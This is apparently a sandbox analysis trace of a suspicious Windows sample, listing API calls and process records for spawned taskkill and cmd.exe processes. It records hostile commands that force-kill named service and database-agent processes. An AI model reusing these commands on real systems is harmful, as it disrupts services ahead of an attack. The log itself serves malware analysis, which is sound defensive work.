	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0037.370] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0037.371] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0037.371] GetProcessHeap () returned 0x6b0000
	[0037.371] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b0a10 | out: hHeap=0x6b0000) returned 1
	[0037.371] GetProcessHeap () returned 0x6b0000
	[0037.371] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xa) returned 0x6bfee8
	[0037.371] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0037.372] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mydesktopqos.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x34f1a0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mydesktopqos.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f1ec | out: lpCommandLine="taskkill  /f /im mydesktopqos.exe ", lpProcessInformation=0x34f1ec*(hProcess=0x78, hThread=0x74, dwProcessId=0x814, dwThreadId=0x818)) returned 1
	[0037.385] CloseHandle (hObject=0x74) returned 1
	[0037.385] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0037.385] GetProcessHeap () returned 0x6b0000
	[0037.385] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5ed8 | out: hHeap=0x6b0000) returned 1
	[0037.385] GetEnvironmentStringsW () returned 0x6d4a50*
	[0037.385] GetProcessHeap () returned 0x6b0000
	[0037.385] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb36) returned 0x6c4098
	[0037.385] FreeEnvironmentStringsW (penv=0x6d4a50) returned 1
	[0037.385] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0037.772] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x34f0e0 | out: lpExitCode=0x34f0e0*=0x80) returned 1
	[0037.772] CloseHandle (hObject=0x78) returned 1
	[0037.772] _vsnwprintf (in: _Buffer=0x34f228, _BufferCount=0x13, _Format="%08X", _ArgList=0x34f0ec | out: _Buffer="00000080") returned 8
	[0037.772] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0037.772] GetProcessHeap () returned 0x6b0000
	[0037.772] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4098 | out: hHeap=0x6b0000) returned 1
	[0037.772] GetEnvironmentStringsW () returned 0x6c4098*
	[0037.773] GetProcessHeap () returned 0x6b0000
	[0037.773] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb5c) returned 0x6c5ed8
	[0037.773] FreeEnvironmentStringsW (penv=0x6c4098) returned 1
	[0037.773] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0037.773] GetProcessHeap () returned 0x6b0000
	[0037.773] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5ed8 | out: hHeap=0x6b0000) returned 1
	[0037.773] GetEnvironmentStringsW () returned 0x6c4098*
	[0037.773] GetProcessHeap () returned 0x6b0000
	[0037.773] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb5c) returned 0x6c5ed8
	[0037.773] FreeEnvironmentStringsW (penv=0x6c4098) returned 1
	[0037.773] GetProcessHeap () returned 0x6b0000
	[0037.773] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6bfee8 | out: hHeap=0x6b0000) returned 1
	[0037.773] DeleteProcThreadAttributeList (in: lpAttributeList=0x34f144 | out: lpAttributeList=0x34f144) 
	[0037.773] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0037.773] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0037.773] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0037.773] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a9641ac | out: lpMode=0x4a9641ac) returned 0
	[0037.773] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0037.773] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a9641b0 | out: lpMode=0x4a9641b0) returned 0
	[0037.773] GetConsoleOutputCP () returned 0x1b5
	[0037.774] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a964260 | out: lpCPInfo=0x4a964260) returned 1
	[0037.774] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0037.774] exit (_Code=128) 

Process:
	id = "23"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4be52000"
	os_pid = "0x814"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "22"
	os_parent_pid = "0x840"
	cmd_line = "taskkill  /f /im mydesktopqos.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 155
	os_tid = 0x818


Thread:
	id = 156
	os_tid = 0x9d0


Thread:
	id = 157
	os_tid = 0x9dc


Thread:
	id = 158
	os_tid = 0x9e0


Thread:
	id = 159
	os_tid = 0x9e4


Process:
	id = "24"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4cdff000"
	os_pid = "0xa00"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im agntsvc.exeisqlplussvc.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 160
	os_tid = 0x808

	[0037.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32ff10 | out: lpSystemTimeAsFileTime=0x32ff10*(dwLowDateTime=0xfc397ea0, dwHighDateTime=0x1d52dc4)) 
	[0037.861] GetCurrentProcessId () returned 0xa00
	[0037.861] GetCurrentThreadId () returned 0x808
	[0037.861] GetTickCount () returned 0x19b73
	[0037.861] QueryPerformanceCounter (in: lpPerformanceCount=0x32ff08 | out: lpPerformanceCount=0x32ff08*=15817322758) returned 1
	[0037.864] GetModuleHandleA (lpModuleName=0x0) returned 0x4a020000
	[0037.864] __set_app_type (_Type=0x1) 
	[0037.864] __p__fmode () returned 0x74eb31f4
	[0037.864] __p__commode () returned 0x74eb31fc
	[0037.865] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0421a6) returned 0x0
	[0037.865] __getmainargs (in: _Argc=0x4a044238, _Argv=0x4a044240, _Env=0x4a04423c, _DoWildCard=0, _StartInfo=0x4a044140 | out: _Argc=0x4a044238, _Argv=0x4a044240, _Env=0x4a04423c) returned 0
	[0037.865] GetCurrentThreadId () returned 0x808
	[0037.865] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x808) returned 0x60
	[0037.865] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0037.865] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0037.865] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0037.866] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0037.866] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fea0 | out: phkResult=0x32fea0*=0x0) returned 0x2
	[0037.866] VirtualQuery (in: lpAddress=0x32fed7, lpBuffer=0x32fe70, dwLength=0x1c | out: lpBuffer=0x32fe70*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0037.866] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fe70, dwLength=0x1c | out: lpBuffer=0x32fe70*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0037.866] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fe70, dwLength=0x1c | out: lpBuffer=0x32fe70*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0037.866] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32fe70, dwLength=0x1c | out: lpBuffer=0x32fe70*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0037.866] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fe70, dwLength=0x1c | out: lpBuffer=0x32fe70*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0037.866] GetConsoleOutputCP () returned 0x1b5
	[0037.866] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0037.866] SetConsoleCtrlHandler (HandlerRoutine=0x4a03e72a, Add=1) returned 1
	[0037.866] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0037.866] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0037.867] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0037.867] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a0441ac | out: lpMode=0x4a0441ac) returned 0
	[0037.867] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0037.867] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a0441b0 | out: lpMode=0x4a0441b0) returned 0
	[0037.867] GetEnvironmentStringsW () returned 0x6a2038*
	[0037.867] GetProcessHeap () returned 0x690000
	[0037.867] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xaca) returned 0x6a2b10
	[0037.867] FreeEnvironmentStringsW (penv=0x6a2038) returned 1
	[0037.867] GetProcessHeap () returned 0x690000
	[0037.867] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4) returned 0x6a0c70
	[0037.867] GetEnvironmentStringsW () returned 0x6a2038*
	[0037.867] GetProcessHeap () returned 0x690000
	[0037.867] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xaca) returned 0x6a35e8
	[0037.868] FreeEnvironmentStringsW (penv=0x6a2038) returned 1
	[0037.868] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ee10 | out: phkResult=0x32ee10*=0x68) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x0, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x1, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x1, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x0, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x40, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x40, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x40, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.868] RegCloseKey (hKey=0x68) returned 0x0
	[0037.868] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ee10 | out: phkResult=0x32ee10*=0x68) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x40, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x1, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x1, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x0, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.868] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x9, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.869] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x4, lpData=0x32ee1c*=0x9, lpcbData=0x32ee14*=0x4) returned 0x0
	[0037.869] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ee18, lpData=0x32ee1c, lpcbData=0x32ee14*=0x1000 | out: lpType=0x32ee18*=0x0, lpData=0x32ee1c*=0x9, lpcbData=0x32ee14*=0x1000) returned 0x2
	[0037.869] RegCloseKey (hKey=0x68) returned 0x0
	[0037.869] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302e
	[0037.869] srand (_Seed=0x5d16302e) 
	[0037.869] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeisqlplussvc.exe \""
	[0037.869] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeisqlplussvc.exe \""
	[0037.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a045260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.869] GetProcessHeap () returned 0x690000
	[0037.869] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x210) returned 0x6a2038
	[0037.869] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6a2040, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0037.869] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.869] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0037.869] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0037.869] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0037.870] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0037.870] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0037.870] GetProcessHeap () returned 0x690000
	[0037.870] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a2b10 | out: hHeap=0x690000) returned 1
	[0037.870] GetEnvironmentStringsW () returned 0x6a2250*
	[0037.870] GetProcessHeap () returned 0x690000
	[0037.870] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xae2) returned 0x6a4bb0
	[0037.870] FreeEnvironmentStringsW (penv=0x6a2250) returned 1
	[0037.870] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0037.870] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0037.870] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0037.870] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0037.870] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0037.870] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0037.870] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0037.870] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0037.870] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0037.870] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0037.870] GetProcessHeap () returned 0x690000
	[0037.870] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x54) returned 0x6a56a0
	[0037.870] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32fbdc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32fbdc, lpFilePart=0x32fbd8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32fbd8*="Desktop") returned 0x25
	[0037.871] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0037.871] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f958 | out: lpFindFileData=0x32f958*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6a1eb8
	[0037.871] FindClose (in: hFindFile=0x6a1eb8 | out: hFindFile=0x6a1eb8) returned 1
	[0037.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f958 | out: lpFindFileData=0x32f958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6a1eb8
	[0037.871] FindClose (in: hFindFile=0x6a1eb8 | out: hFindFile=0x6a1eb8) returned 1
	[0037.871] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0037.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f958 | out: lpFindFileData=0x32f958*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6a1eb8
	[0037.871] FindClose (in: hFindFile=0x6a1eb8 | out: hFindFile=0x6a1eb8) returned 1
	[0037.871] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0037.871] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0037.871] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0037.871] GetProcessHeap () returned 0x690000
	[0037.872] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a4bb0 | out: hHeap=0x690000) returned 1
	[0037.872] GetEnvironmentStringsW () returned 0x6a40c0*
	[0037.872] GetProcessHeap () returned 0x690000
	[0037.872] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb36) returned 0x6a5f00
	[0037.872] FreeEnvironmentStringsW (penv=0x6a40c0) returned 1
	[0037.872] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a045260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.872] GetProcessHeap () returned 0x690000
	[0037.872] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a56a0 | out: hHeap=0x690000) returned 1
	[0037.872] GetProcessHeap () returned 0x690000
	[0037.872] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x400e) returned 0x6a6a40
	[0037.873] GetProcessHeap () returned 0x690000
	[0037.873] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x68) returned 0x6a2d90
	[0037.873] GetProcessHeap () returned 0x690000
	[0037.873] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aaa58
	[0037.873] GetProcessHeap () returned 0x690000
	[0037.873] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aea68
	[0037.874] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0037.875] GetProcessHeap () returned 0x690000
